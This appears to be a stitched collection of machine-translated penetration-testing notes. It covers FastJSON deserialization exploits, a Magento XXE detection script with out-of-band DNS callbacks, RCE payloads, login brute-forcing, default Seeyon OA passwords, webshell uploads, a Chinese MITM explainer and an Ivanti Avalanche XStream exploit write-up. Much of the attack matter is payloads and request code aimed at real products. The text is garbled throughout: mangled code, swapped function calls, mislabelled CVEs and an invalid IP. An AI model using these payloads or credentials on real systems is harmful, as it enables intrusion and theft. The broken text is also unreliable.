ただし、悪意のあるユーザーがこのフィールドを使用して悪意のあるJSONデータを構築し、@Typeフィールドの悪意のあるクラスパスを指定することができるのは、まさに@Typeフィールドの存在と使用のためです。このようにして、脱出プロセス中に、FastJSONは@Typeフィールドで指定されたクラスパスに基づいて対応するクラスをインスタンス化しようとします。

jndi

JNDI、RMI、およびLDAPは、さまざまな目的でJavaで使用されるテクノロジーです。

JNDI(Javaネーミングとディレクトリインターフェイス):JNDIは、さまざまな命名およびディレクトリサービスにアクセスするために使用されるJavaのAPIのセットです。 JNDIは、JavaアプリケーションがDNS、LDAP、RMIレジストリなどのさまざまな命名およびディレクトリサービスを接続および使用できるようにする統一アクセス方法を提供します。JNDIの目的は、Javaアプリケーションが異なるサービスの命名とディレクトリの作業を利用できるようにすることです。 RMI(リモートメソッド呼び出し):RMIは、Javaでリモートメソッド呼び出しを実装するために使用されるメカニズムです。これにより、異なるJava仮想マシン間のオブジェクト間の通信とメソッド呼び出しが可能になります。分散システムでは、RMIを使用すると、リモートシステムが互いの方法を呼び出して、リモートオブジェクト間の相互作用を実現できます。 LDAP(LightWeight Directory Access Protocol):LDAPは、分散ディレクトリサービスにアクセスするために使用されるプロトコルです。通常、ユーザー情報、組織構造などの構造化されたデータを保存するために使用されます。JAVAでは、JNDIはLDAPアクセスのサポートを提供し、JNDIがユーザー認証、データの検索などのLDAPディレクトリサービスを接続および操作できるようにします。 JNDIを使用すると、LDAPサーバーを接続および操作し、LDAPディレクトリにデータを取得および保存できます。さらに、JNDIを使用して、RMIレジストリ内のリモートオブジェクトを見つけて、リモートメソッド呼び出しを実装することもできます。

要約すると、JNDIはJavaのAPIとして、さまざまなサービスにアクセスする統一された方法を提供し、JavaアプリケーションがLDAPやRMIレジストリなどのさまざまな命名およびディレクトリサービスを接続および操作できるようにします。

jdbcrowsetimplはチェーン

を利用します

Fastjsonでは、脱介入攻撃にJDBCrowsetimplを使用します。 JDBCrowsetimplの利用チェーンの焦点は、AutoCommit Setメソッドを呼び出す方法です。 FastJSONの脱必要異常の特徴は、クラスの設定方法を自動的に呼び出すことであるため、脱出の問題があることです。 @Typeタイプが策定されている限り、対応するクラスを自動的に呼び出して解析します。

これにより、利用チェーンを構築できます。 @TypeのタイプがJDBCrowsetImplの場合、JDBCrowsetImplクラスがインスタンス化されます。したがって、DataSourcenameがLookupメソッドに渡される限り、リモート攻撃サーバーにアクセスできるようにし、AutoCommitプロパティを使用してルックアップをトリガーできます。プロセス全体が次のとおりです。

DataSourCenameを設定してルックアップに属性を渡す方法- AutoCommitプロパティを設定し、SetAutoCommit関数を使用して接続関数をトリガーする - 以下のルックアップ関数は、DataSourcenameパラメーターを使用し、RMIを介してリモートサーバーにアクセスできます。

エクスプロイトは次のとおりです。

{"@type" : "com.sun.rowset.jdbcrowsetimpl"、 "datasourcename" : "rmi: //192.168.17.393:999/exploit"、 ":true}

次のことに注意する価値があります。1。DataSourcenameをオートコンミットの前に配置する必要があります。なぜなら、降下が設定されている場合、属性が順番に設定され、最初にetDataSourCenameが設定され、次にsetAutoCommitです。 2. RMIのURLは、リモートファクトリークラスの名前に従って取得します。これは、パスの下の名前が検索するクラスとしてLookup()で抽出されるためです。

FastJSON検出バージョン

1。DNSLOGを使用して奪ってください。 DNSLOGのほとんどがブラックリストに記載されているため、独自のDNSLOGを使用するのが最善です。

2。エラーメッセージがあり、バージョン番号のペイロードは「{"and"、 "、欠陥のあるコードブロックを入力して例外をスローする前に読み取られていません

3.スクリプトを使用してバージョン番号をすばやく検出します。つまり、各POCが1回呼び出されます。

CVE-2017-18349 FastJSON 1.2.24-RCE

0x00はじめに

Fastjsonは、AlibabaのオープンソースJSON解析ライブラリです。 JSON形式で文字列を解析したり、JSONの弦にJava Beanのシリアル化をサポートしたり、JSON文字列からJavabeansへの降下をサポートします。つまり、FastJSONの主な機能は、Java BeanをJSON文字列にシリアル化することです。これにより、文字列を取得した後、データベースなどを介して持続できます。

0x01脆弱性の概要

JSONを解析する過程で、FastJSONはオートタイプの使用をサポートして特定のクラスをインスタンス化し、クラスのセット/GETメソッドを呼び出して属性にアクセスします。コードに関連する方法を見つけることにより、いくつかの悪意のあるエクスプロイトチェーンを構築できます。

0x02影響バージョン

インパクトの範囲:FastJSON=1.2.24

0x03環境構築

CD /vulhub/fastjson/1.2.24-rce

docker -compose up -d

Docker PS

image.png

Dockerはポート8090を開き、ターゲットマシンIPにアクセスします

http://192.168.200.16:8090/

image.png

JDKバージョンの切り替え

脆弱性のエクスプロイトにはJDK8が必要であり、Kaliに付属するJDKはJDK11をここでは使用できないため、KaliのJDK1123を最初にアンインストールする

dpkg - リスト| GREP -I JDK #ViewインストールJDKパッケージ

apt-get purge openjdk-* #uninstall openjdk関連パッケージ

dpkg - リスト| grep -i jdk#すべてのJDKパッケージがアンインストールされていることを確認してください

jdk1.8をダウンロードします

https://github.com/frekele/oracle-java/releases/download/8u212-b10/jdk-8u212-linux-x64.tar.gz

image.png

圧縮パッケージをKaliに入れて、環境変数を減圧して構成します

MV JDK-8U212-LINUX-X64.TAR.GZ /OPT /JAVA#PLACE IN /OPT /JA

1。序文

次の検出スクリプトを列に示します。

リクエストをインポートします

urllib3をインポートします

RE、文字列、ランダムをインポートします

urllib.parseインポートurljoinから

argparseをインポートします

インポート時間

SSLをインポートします

ssl._create_default_https_context=ssl._create_unverified_context

urllib3.disable_warnings(urllib3.exceptions.insecurerequestwarning)

def banner():

print()

印刷(r '' ''

____________ _____ _____ ____ _____ _____ _____ ____

/___ \ \//____ | | ___ \/_ \ ___ \ | || | ___ \/_ \ ___//_

| | \ \//| _ | _____ __)| | | | | | | | _____ ___)| | | | | | | |//'_ \

| | ___ \ v/| | ________/__/| | _ |/__/| ________/__/| | _ | |//| (_)|

\ ____ | \ _/| ______ | | ______ | \ ___/_____ | | ______ | \ ____ //\ ___/

_____

| ___ |

//

//

/_/

'' ')

print()

def read_file(file_path):

file:としてopen(file_path、 'r')があります

urls=file.read()。splitlines()

URLを返します

def check(url):

url=url.rstrip( '/')

taeget_url=urljoin(url、 '/rest/v1/guest-carts/1/astimate-shipping-methods')

try:

ヘッダー={

'user-agent':' mozilla/5.0(x11; cros i686 3912.101.0)Applewebkit/537.36(Khtml、geckoのように)Chrome/27.0.1453.116 Safari/537.36 '、

'content-type':'アプリケーション/json '

}

getDomain=requests.get(url='http://dnslog.cn/getdomain.php'、headers={'cookie':' phpsessid=hb0p9iqh804esb5khaulm8ptp2 '}、timeout=30)

domain=str(getDomain.Text)

データ='' {'address': {' totalScollector': {'collectorList': {' totalCollector': {'Sourcedata'33 360 {'data': {' data ':'http://%s '、' datasurl':true、 'options':12345678}}}}}}}' '' '%(domain)

requests.post(taeget_url、verify=false、headers、headers、data=data、timeout=25)

範囲(0、3):のIの場合

更新=requests.get(url='http://dnslog.cn/getrecords.php'、headers={'cookie':' phpsessid=hb0p9iqh804esb5khaulm8ptp2 '}、timeout=30)

time.sleep(1)

refresh.text:のドメインの場合

print(f '\ 033 [31mdiscovered: {url} :Adobemagento_cve-2024-34102_xxe!\ 033 [0m')

trueを返します

E:としての例外を除く

合格

__name__=='__main __' :の場合

バナー()

parser=argparse.argumentparser(description='adobecoldfusion_cve-2024-20767_arbitraryfileread検出スクリプト')

parser.add_argument( '-u'、 '-url'、type=str、help='シングルURL検出')

parser.add_argument( '-f'、 ' - txt'、type=str、help='batch urlファイルロード検出')

args=parser.parse_args()

args.url:の場合

read_file(args.url)

elif args.txt:

チェック(args.txt)

else:

parser.print_help()

上記のバッチ検出コードの主な機能ポイント:

1。ディスプレイスクリプトを美化するためのグラフィカルロゴを表示するために使用されるバナー機能モジュール

2。read_file関数モジュール、ファイル内の読み取りURLアドレスをバッチバッチにするために使用されます

3.脆弱性を検出するために使用される関数モジュールを確認します。ここで建設にBPを使用し、応答パッケージの返品値に基づいてルールを一致させることをお勧めします。

4.メイン関数モジュールは主に上記の3つの関数を呼び出し、コマンドラインパーサーを参照します

2。 Pythonパッケージをインポート

Python Pycharmコミュニティエラー関数を使用して、インポートする必要があるパッケージを検出できます。

リクエストをインポートします

urllib3をインポートします

RE、文字列、ランダムをインポートします

urllib.parseインポートurljoinから

argparseをインポートします

インポート時間

SSLをインポートします

ssl._create_default_https_context=ssl._create_unverified_context

urllib3.disable_warnings(urllib3.exceptions.insecurerequestwarning)

image-20240801024603100

3。関数関数モジュール

1. banner識別関数

def banner():

print()

印刷(r '' ''

____________ _____ _____ _____ _____ _ _____

/___ \ \//____ | | ___ \/_ \ ___ \ | || | ___ /| || || |/|/_ \

| | \ \//| _ | _____ __)| | | | | | __)| | | | ____ | _ \ | || | _ | | | | | | | | | |

| | ___ \ v/| | ________/__/| | _ |/__/| ___ _ | _______ | ___)| __ _ | | | _ | |

\ ____ | \ _/| ______ | | ______ | \ ___/_____ | | _____/| _ | | ____/| _ | | _ | \ ____/

____

| ___ \

__)|

/__/

| ______ |

'' ')

print()

機能:この関数はグラフィカルバナーを印刷します

オンライン生成ツール:http://www.network-science.de/ascii/

または、ローカルジェネレーションにPyfigletを使用すると、生成されたコードをPythonコードで置き換えることができます。

ピップインストールpyfiglet

c: \ users \ testpyfiglet CVE-2024-34102

____________ _____ _____ _____ _____ _ _____

/___ \ \//____ | | ___ \/_ \ ___ \ | || | ___ /| || || |/|/_ \

| | \ \//| _ | _____ __)| | | | | | __)| | | | ____ | _ \ | || | _ | | | | | | | | | |

| | ___ \ v/| | ________/__/| | _ |/__/| ___ _ | _______ | ___)| __ _ | | | _ | |

\ ____ | \ _/| ______ | | ______ | \ ___/_____ | | _____/| _ | | ____/| _ | | _ | \ ____/

____

| ___ \

__)|

/__/

| ______ |

2.Read_File関数モジュール

関数:この関数は、指定されたファイルの各行を読み取り、これらの行の内容を含むリストを返します(URLであると仮定)。

注:このコードモジュールは、修正および変更されていないdef read_file(file_path): #define parameter file_pathを受け入れるread_fileという名前の関数を定義します。

file:としてopen(file_path、 'r')があります

#開いた関数を使用して、指定されたパスが読み取りモード( 'r')でファイルを開き、ファイルオブジェクトを変数ファイルに割り当てます。 withステートメントは、コードブロックが完了した後、ファイルが自動的に閉じられることを保証します。

urls=file.read()。splitlines()

#ファイルのコンテンツ全体を読み取り、それを行ごとにリストに分割します。各行のコンテンツは、リストの要素として機能します。 splitlines()メソッド各行のnewlinesを削除します

returns #returnすべてのURLのリストを返します

3.関数モジュールを確認

注:ここでは、実際の条件に応じてdef check(url):を変更できます

#チェックという名前の関数を定義し、パラメーターURLを受け入れ、チェックするURLを示します

url=url.rstrip( '/')

#URLの最後にスラッシュを削除します(存在する場合)

taeget_url=urljoin(url、 '/rest/v1/guest-carts/1/astimate-shipping-methods')

#urljoin関数を使用して、指定されたURLを指定されたパスでスプライスしてターゲットURLを生成します

try:

#try次のコードブロックを実行するには、例外が発生した場合、除外ブロックにジャンプします

ヘッダー={

'user-agent':' mozilla/5.0(x11; cros i686 3912.101.0)Applewebkit/537.36(Khtml、geckoのように)Chrome/27.0.1453.116 Safari/537.36 '、

'content-type':'アプリケーション/json '

}

#set httpリクエストヘッダー、ヘッダーにはユーザーエージェントとコンテンツタイプが含まれ、コンテンツタイプはpost requestパッケージ形式です

getDomain=requests.get(url='http://dnslog.cn/getdomain.php'、headers={'cookie':' phpsessid=hb0p9iqh804esb5khaulm8ptp2 '}、timeout=30)

#dnslog.cnにget requestを送信して、脆弱性を検出するために使用される一意のドメイン名を取得します。

domain=str(getDomain.Text)

#応答コンテンツを文字列に変換し、変数ドメインに値を割り当てます

データ='' {'address': {' totalScollector': {'collectorList': {' totalCollector': {'Sourcedata'33 360 {'data': {' data ':'http://%s '、' datasurl':true、 'options':12345678}}}}}}}' '' '%(domain)

#この脆弱性を活用する目的で、ドメインを含むJSONデータ文字列を構成する

requests.post(taeget_url、verify=false、headers、headers、data=data、timeout=25)

#ターゲットURLへの投稿リクエストを送信し、構築されたJSONデータを運ぶ

範囲(0、3):のIの場合

#DNSレコードにドメイン名が含まれているかどうかを確認するために3回変更します

更新=requests.get(url='http://dnslog.cn/getrecords.php'、headers={'cookie':' phpsessid=hb0p9iqh804esb5khaulm8ptp2 '}、timeout=30)

#DNSLOG.CNにリクエストを送信して、DNSレコードを取得します

time.sleep(1)

refresh.text:のドメインの場合

#ドメイン名がDNSレコードに含まれている場合、それは脆弱性が存在することを意味します

print(f '\ 033 [31mdiscovered: {url} :Adobemagento_cve-2024-34102_xxe!\ 033 [0m')

#printが見つかった脆弱性に関する情報

trueを返します

#脆弱性が検出されたことを示すためにtrueを返します

E:としての例外を除く

#上記のコードを実行しようとするときに例外が発生した場合、例外をキャッチして無視します

合格

関数を検出する主な方法:タイプDEFチェック(URL):を取得

url=url.rstrip( '/')

ターゲット=url+'/urlパス'

ヘッダー={

'user-agent':' mozilla/5.0(x11; linux x86_64)applewebkit/537.36(khtml、yike gecko)chrome/41.0.22227.0 safari/537.36 ''

}

try:

#get要求方法

Response=urllib.request.request(ターゲット、ヘッダー=ヘッダー、method='get'、unverifiable=true)

res=urllib.request.urlopen(response)

status_code=res.getCode()

content=res.read()。decode()

status_code==200およびコンテンツの「フォント」とcontent:の「拡張機能」の場合

#主な一致する脆弱性検証ルール

print(f '\ 033 [31mdiscovered: {url} :脆弱性ステータスの説明(xxxにはrce脆弱性があります)\ 033 [0m')

E:としての例外を除く

合格

ポストタイプDEF CHECK1(URL):

url=url.rstrip( '/')

ターゲット=urljoin(url、 '/url path')

ヘッダー={

'user-agent':' mozilla/5.0(x11; linux x86_64)applewebkit/537.36(khtml、geckoのような)Chrome/41.0.22227.0 Safari/537.36 '、

'content-type':' application/json; charset=utf-8 '#postデータ形式タイプ

}

#postリクエストデータ

data='{' paramname ': '' '' '、' paramdesc': ''、 'paramtype ':' '' ''、 'sampleitem ':'1'、 '必須':true、' neveringflag':1、 'belidationRures'3:'funtiction viuntiction verification java.lang.processbuilder(\\\ 'echo \\\'、\\\ 'helloworldtest \\\')。start() null){ss+=line}; return ss;} '}'

try:

#postリクエストメソッド

response=requests.post(ターゲット、検証=false、headers、data=data、timeout=15)

respons.status_code==200および 'helloworldtest' in respons.text.text.text.text.textおよび 'data' in Respons.text: #main検証ルールの場合

print(f '\ 033 [31mdiscovered: {url} :脆弱性ステータスの説明(xxxにはrceの脆弱性!\ 033 [0m')

trueを返します

E:としての例外を除く

合格

def check2(url):

url=url.rstrip( '/')

ターゲット=urljoin(url、 '/jc6/platform/portalwb/portalwb-con-template!viewcontemplate.action')

ヘッダー={

'user-agent':' mozilla/2.0(互換性、msie 3.01; Windows 95 '、

'content-type':'アプリケーション/x-www-form-urlencoded '

}

データ='' ModulID=1Code=%253CCLOB%253E%2524%257B%2522Freemarker.template.utility.execute%2522%253fnew%2528%2529%2528%2522ARP%2520-A%2522%2529%257D%253C%253CLOB

try:

response=requests.post(ターゲット、検証=false、headers、data=data、timeout=15)

response.status_code==200および「インターネット」の場合、それに応じてテキストと「/clob」。Text:

#主な一致する脆弱性検証ルール

print(f '\ 033 [31mdiscovered: {url} :脆弱性ステータスの説明(xxxにはrceの脆弱性!\ 033 [0m')

trueを返します

E:としての例外を除く

合格

iv。メイン関数関数モジュール

関数:上記の関数を呼び出します

この部分は、スクリプトのエントリ、コマンドラインパラメーターを解析し、-URLパラメーターが提供されている場合、単一のURLが検出されます。 -TXTパラメーターが提供されている場合、ファイル内の複数のURLアドレスが検出されます。

__name__=='__main __' :の場合

#バナー機能をコールし、上記の識別図を表示します

バナー()

#command Lineパラメーターパーサー

parser=argparse.argumentparser(description='adobecoldfusion_cve-2024-20767_arbitraryfileread検出スクリプト')

parser.add_argument( '-u'、 '-url'、type=str、help='シングルURL検出')

parser.add_argument( '-f'、 ' - txt'、type=str、help='batch urlファイルロード検出')

最も基本的なログインボックスから突破します

ログインボックスは、HWが最も発生するキャラクターであり、穴から抜け出すのが最も簡単です。一般的に使用されるテスト方法の一部を以下に示します

ログインブラストのヒント

image-20231130171640751

このようなシステムの爆発に対する2つの解決策があります。

フロントエンドの暗号化アルゴリズムを分析し、スクリプトを書き込み、パスワードを暗号化し、パスワードを123456 000000に修正します。2つの方法には、辞書として一般的なユーザー名を使用して2つの方法が独自の利点と欠点があります。ゲームでより効率的な2番目のものを好み、分析暗号化アルゴリズムはRedチーム検出プロジェクトにより適しています。

image-20231201170955410

爆破されたアカウントのパスワードを使用してバックグラウンドにログインすると、背景のアップロードポイントを見つけ続けることができます

アップロードされたファイル形式を制限するために、こちらの画像タイプを参照してください

image-20231201171410743

ASPXファイル形式タイプを直接追加します

image-20231201171600249

成功したけいれん

image-20231201171755656

戻りパケットパラメーターを変更し、背景

を入力します

ウェブサイトのログインステータスがフロントエンドに基づいて判断される場合があり、この時点では、返品パッケージを直接変更してバイパスできます。

image-20231128172935703

フロントエンド判断ログインロジックは、返品パッケージのRET値に基づいて決定されます。返品値が1の場合、ログインが正常にログインされます。

image-20231128173007315

背景を正常に入力しました

image-20231128173130312

プラグインは、一般的なSQLインジェクションとLOG4Jの脆弱性を検出します

推奨SQLインジェクションプラグイン3https://GITHUB.COM/SMXIAZI/XIA_SQL

基本原則は、返されたデータの長さに基づいて複数のデータパケットを送信することにより、注入があるかどうかを判断することです。

image-20231128170800532

パッシブスキャンに加えて、シングルとダブルの引用符を手動で追加して、返品パッケージを表示することもできます。同様のエラーがある場合、SQL注入がある可能性があります。

image-20231128164205795

image-20231205180145610

SQLMAPシャトル

image-20231128173629321

log4jプラグインはhttps://github.com/thekingofduck/burpfakeipを推奨しました

バーププラグインファズパケットを介したヘッダーヘッダー

image-20231128171023433

ログインボックスでlog4jの脆弱性を正常に検出しました

しかし、多くのDNSLOGプラットフォームはファイアウォールによって黒にマークされていることに注意する必要があるため、シーイを使用したり、DNSLOGプラットフォームを自分で構築することをお勧めします

image-20231108153844067

システムデフォルトのパスワード +背景1Day Exploit

攻撃的および防御的な競争がますます頻繁になるにつれて、パブリックネットワークで直接悪用できるフロントエンドの脆弱性はますます少なく、それらのほとんどはバッチスキャンによって修正されていますが、システムのデフォルトパスワードを使用して1日と組み合わせることができます。

デフォルトのパスワードが存在する場合、admin/admin123

image-20231128173913383

タスクをスケジュールするか、背景を入力するときにタスクを脱着することにより、コマンドを実行できます。

image-20231128174037559

OAシステムに遭遇すると多くの場合、OA脆弱性検出ツールを使用して、抜け穴なしでスキャンしてあきらめます。実際、この種のOAシステムでデフォルトのパスワードに問題がある可能性があります。

デフォルトのパスワード

システム管理者:システム/システム

グループ管理者(A8-V5グループバージョン)Group-Admin/123456

ユニット管理者(A8-V5 Enterprise Edition)Admin1/Admin123456

監査管理者(すべてのバージョン)Audit-Admin/Seeyon123456

image-20231108142849667

フロントデスクでアカウントのパスワードを使用するときにログインできない場合があります。次のデータパケットを送信して、Cookieを取得できます。

POST/SEYYON/REST/認証/UCPCLOGIN HTTP/1.1

host:

user-agent: mozilla/5.0(Windows NT 10.0; RV:78.0)Gecko/20100101 Firefox/78.0

Content-Length: 71

Content-Type:アプリケーション/x-www-form-urlencoded

Accept-Encoding: GZIP

useragentfrom=xxlogin_username=audit-adminlogin_password=seeyon123456

Cookieを取得した後、パッチの新しいバックグラウンドホールを使用して、詳細に使用できます。今回は、コピーファイルの背景穴を使用します。

しかし、実際の戦闘の後、私はこの抜け穴にいくつかの落とし穴があることを発見し、ウェブシェルに書き込むときにエラーが報告されました。

post /seeyon/ajax.do?method=ajaxactionmanagername=portalcssssmanagerrnd=111 http/1.1

Accept: */*

content-type:アプリケーション/x-www-form-urlencoded; charset=utf-8

Content-Length: 70

HOST: 192.168.91.17

Connection: Keep-Alive

user-agent: apache-httpclient/4.5.13(Java/1.8.0_321)

Accept-Encoding: gzip、deflate

引数=%5B%22

中間人(MITM) 攻擊是一個嚴重的網絡安全問題,尤其是在物聯網領域,攻擊者使用它們來闖入網絡並攔截數據。個人用戶和公司都容易受到此類攻擊,因為我們都使用大量聯網設備。

為了減輕MITM 攻擊並將其成功執行的風險降至最低,我們需要了解MITM 攻擊是什麼以及惡意行為者如何應用它們。此外,滲透測試人員可以利用中間人攻擊工具來檢查軟件和網絡是否存在漏洞,並將其報告給開發人員。因此,開發人員可以修復產品的弱點,防止真正的網絡犯罪分子可能的MITM 攻擊。

在本文中,我們將討論MITM 基礎知識:這些攻擊是什麼以及它們的目的。我們將了解在MITM 攻擊的每個階段會發生什麼,並探討用於執行MITM 攻擊的幾種流行實用程序的功能、優缺點。

本文不是關於如何執行MITM 攻擊的指南,但它解釋了使用MITM 工具如何幫助滲透測試者檢測漏洞。

MITM 攻擊:定義和後果什麼是中間人攻擊?中間人(MITM) 攻擊是一種網絡攻擊,惡意行為者在其中秘密中繼並可能改變認為他們直接相互通信的兩方之間的通信。

例如,攻擊者可以將受害者的計算機和服務器(網站、服務或任何其他網絡資源)之間的連接切換到攻擊者作為服務和受害者之間的中介的連接。

image.png

圖1. MITM 攻擊方案

MITM 攻擊的目標是訪問用戶的個人數據或用戶訪問的某些資源的數據。如果用戶訪問組織的資源,攻擊者可能會訪問組織網絡中存儲和流通的任何數據,例如銀行數據、用戶憑據、照片、文檔和消息。

MITM 攻擊最常見的受害者是使用大量數據操作的Web 資源:金融組織的網站、SaaS 資源、電子商務網站和其他需要在線授權的服務。

中間人攻擊背後的危險MITM 攻擊的後果是什麼?成功的MITM 攻擊的後果可能導致企業的財務和聲譽損失。

截獲的數據為惡意行為者提供了敲詐他人或以他人為代價購買商品的機會。此外,攻擊者可以使用受害者的憑據來損害公司:例如,通過安裝惡意軟件從公司網絡竊取數據。

MITM 攻擊背後的一個共同意圖是盜竊金錢。 2015 年,有49 名嫌疑人在不同的歐洲國家被捕,他們涉嫌使用MITM 攻擊來嗅探和攔截電子郵件中的付款請求。調查發現了一項總額為600 萬歐元(約合680 萬美元)的國際欺詐計劃。

2019 年,黑客通過攔截一家風險投資公司的100 萬美元電匯,成功敲詐了一家以色列初創公司。惡意行為者執行MITM 攻擊,攔截和編輯來自雙方的每封電子郵件,並註冊虛假域以欺騙雙方。

網絡犯罪分子使用社會工程學並設法將惡意軟件植入目標公司的網絡。使用該惡意軟件,他們通過攔截電子支付交易進行了大量MITM 攻擊。

了解MITM 攻擊的類型將如何幫助您增強軟件測試如何防止中間人攻擊?在滲透測試中,使用中間人攻擊工具的主要目標是發現和修復軟件和網絡中的漏洞。質量保證(QA) 工程師在軟件完全開發後使用MTM 實用程序來測試軟件的潛在易受攻擊部分。然後開發人員可以修復發現的問題並增強產品的安全性,防止真正的攻擊者進行潛在的MITM 攻擊。

本文中描述的實用程序不僅可用於執行攻擊,還可用於測試網絡和軟件安全性。使用MITM 工具檢查產品的保護有助於發現惡意行為者可以利用這些漏洞竊取數據並造成財務和聲譽損失。

此類MITM 工具對物聯網設備製造商特別有用,因為它們可以幫助他們檢查一個網絡中各種設備之間的連接的安全性以及設備和服務器之間連接的安全性。通過徹底的滲透測試,製造商可以生產出高質量的設備,防止未經授權的訪問。

模仿MITM 攻擊有助於QA 專家更好地了解可能的攻擊場景、分析其原因並提出對策。

MITM 攻擊如何運作? MITM 攻擊包括兩個主要步驟:攔截和解密。每個都有自己的子步驟。讓我們簡要探討一下最常見的。

image.png

兩步中間人攻擊

1.可以使用被動或主動攻擊來完成攔截:1.1。被動攻擊。網絡犯罪分子創建一個網絡接入點,允許他們通過互聯網連接到網絡。當受害者連接到網絡時,網絡犯罪分子可以完全訪問和控制受害者的數據流。

1.2. 主動攻擊。此方法包括各種欺騙技術:

马云惹不起马云 IP 欺騙——用目標IP 地址代替攻擊者的地址;將受害者發送到虛假網站而不是原始網站

马云惹不起马云ARP 欺騙– 將受害者發送到的MAC 地址替換為受害者APR 表中攻擊者的地址。因此,當受害者向節點發送數據時,數據將被發送到攻擊者的地址。

马云惹不起马云DNS 欺騙– 入侵DNS 服務器、DNS 緩存中毒和替換指定地址。在這種情況下,受害者被定向到攻擊者的地址。

2.解密攔截數據後,攻擊者以服務器和客戶端都不會注意到中斷的方式對其進行解密。以下是惡意行為者用於這些目的的一些方法:

马云惹不起马云 HTTPS 欺騙– 也稱為同形異義詞攻擊,HTTPS 欺騙是指將目標域中的字符替換為外觀非常相似的其他非ASCII 字符。這種攻擊利用了Punycode——一種允許以非ASCII 格式註冊域的標準。為了進行此類攻擊,網絡犯罪分子註冊一個看起來像目標站點的域並註冊SSL 證書,使虛假網站看起來合法且安全。然後,攻擊者將指向虛假網站的鏈接發送給受害者,受害者認為他們正在使用受保護的網站。

马云惹不起马云SSL BEAST – 這種類型的攻擊將惡意JavaScript 代碼注入會話中,這有助於攻擊者獲得對站點cookie 的訪問權限。這會破壞加密模式,因此網絡犯罪分子會收到解密的cookie 和身份驗證密鑰。

马云惹不起马云SSL 劫持——通過SSL 劫持,有效的計算機會話被利用來獲得對計算機系統中信息或服務的未經授權的訪問。大多數Web 應用程序使用一種登錄機制,該機制生成一個會話令牌以供以後使用,而無需在每個頁面上輸入憑據。通過SSL 劫持,攻擊者使用嗅探器工具攔截流量並識別用戶的令牌以將請求發送到服務器而不是用戶。

马云惹不起马云SSL 剝離– SSL 剝離攻擊利用了大多數用戶訪問SSL 網站的方式。通常情況下,當用戶連接到安全網站時,連接是通過以下方式建立的:

1.連接到網站的HTTP 版本

2.重定向到HTTPS 版本

3.連接到HTTPS 版本

4.服務器顯示證明站點合法的安全證書

5.連接已建立

但是,在SSL 剝離攻擊期間,惡意攻擊者會替換步驟二和三,因此所有客戶端的數據都通過攻擊者的節點傳輸。

image.png

圖2. SSL 剝離攻擊方案

IVANTIAVALANCHE漏洞利用(上)

是否需要任何身份驗證?此時,我似乎擁有了發送我自己的信息所需的一切。但是,當我發送時,我看到目標服務沒有任何反應。我查看了InfoRail服務日誌文件,發現了這些有趣的行:

11.png

InfoRail日誌文件——刪除未經身份驗證的消息

我似乎漏掉了一個重要的部分:身份驗證。有了有關協議和加密的所有詳細信息,我能夠快速識別網絡流量中的註冊消息。這是負載不以XML形式存儲的罕見示例之一。下面的截圖展示了一個註冊消息的片段:

12.png

註冊消息的片段

這裡研究人員發現了幾件重要的事情:

马云惹不起马云 --reg.appident——指定嘗試註冊的服務的名稱。

马云惹不起马云--reg.uname/reg.puname——指定看起來像用戶名的東西。

马云惹不起马云--reg.cred/reg.pcred——指定看起來像哈希密碼的東西。

經過大量的代碼分析,我確定了以下內容:

马云惹不起马云--Uname和puname是部分隨機的。

马云惹不起马云--Cred和pcred值是MD5哈希值,基於以下值:

马云惹不起马云--用戶名(.anonymous.0.digits)。

马云惹不起马云--密鑰的適當片段,在源代碼中被硬編碼。

同樣,唯一需要的秘密在源代碼中是可見的。攻擊者可以檢索密鑰並構造他自己的有效註冊消息。

最後,我們可以正確註冊InfoRail服務並將我們自己的消息發送到任何Avalanche服務。

在這個階段,可以驗證ObjectGraph類中沒有實現allowlist的服務。我找出了其中的5個:

马云惹不起马云數據存儲服務(ZDI-CAN-15169)。

马云惹不起马云StatServer服務(ZDI-CAN-15130)。

马云惹不起马云通知服務器服務(ZDI-CAN-15448)。

马云惹不起马云證書管理服務器服務(ZDI-CAN-15449)。

马云惹不起马云Web文件服務器服務(ZDI-CAN-15330)。

我們有五個XStream反序列化終端,可以反序列化我們提供的任何東西。人們可以立即開始考慮利用這種反序列化的方法。首先,XStream對其安全性非常透明。他們的安全頁面(可在此處獲得)基於Java運行時中可用的類提供多個小工具。遺憾的是,沒有合適的小工具適用於我試圖利用的前四個服務,因為沒有加載所需的類。

XStream試圖允許盡可能多的對像圖,默認轉換器幾乎是steroid上的Java序列化。除了對第一個不可序列化的父構造函數的調用之外,Java序列化可以實現的一切似乎都可以通過XStream實現(括代理構造)包。

在較新版本的XStream中似乎沒有代理構造。但是,我們仍然應該能夠使用ysoserial小工具來利用它。那時還沒有用於XStream的Ysoserial小工具,所以我自己創建了幾個。它們可以在這個GitHub存儲庫中找到。

使用我的ysoserialXStream小工具,我成功地在四個Avalanche服務中執行了重構代碼。以下是我能夠利用的服務的摘要,以及所需的小工具:

马云惹不起马云StatServer:使用AspectJWeaver和CommonsBeanutils1利用。

马云惹不起马云數據存儲庫:使用C3P0和CommonsBeanutils1進行利用。

马云惹不起马云證書管理服務器:使用CommonsBeanutils1利用。

马云惹不起马云Avalanche通知服務器:使用CommonsBeanutils1利用。

沒有特別的原因,讓我們關注StatServer。首先,我們必須找到將反序列化包含的XML有效負載的消息的主題和子類別。據此,InfoRail協議消息標頭應包含以下鍵和值:

马云惹不起马云h.distlist=255.3.2.12

马云惹不起马云h.msgsubcat=3502(GetMuCellTowerData消息)

在本例中,我們將使用AspectJWeaver小工具,它允許我們上傳文件。下面是XStream的AspectJWeaver小工具:

AspectJWeaver.xml

13.png

這個小工具任務如下:

马云惹不起马云iConstant標籤包含Base64文件內容。

马云惹不起马云folder標籤包含上傳目錄的路徑。我的目標是AvalancheWeb應用程序根目錄。

• key標記指定文件的名稱。

有了所有需要的數據,我們就可以開始利用過程了:

14.png

StatServer利用——上傳Webshell

以下屏幕截圖展示了上傳的webshell和whoami命令的執行。

15.png

StatServerExploitation——Webshell和命令執行

成功!綜上所述,可以向Avalanche服務發送消息的攻擊者可以在4個不同的服務中濫用XStream反序列化。

我還在第五個服務上實現了遠程代碼執行。然而,利用這個服務要復雜得多。

利用JNDI查找Java命名和目錄接口(JNDI)查找有很長的歷史,在Log4Shell漏洞出現之前,許多研究人員就已經熟悉了這個向量。 CVE-2021-39146就是一個證明,它是一個觸發查找的XStream反序列化小工具。它是唯一一個對Web File Server服務有效的XStream小工具,對此我無法製作一個有效的ysoserial小工具。

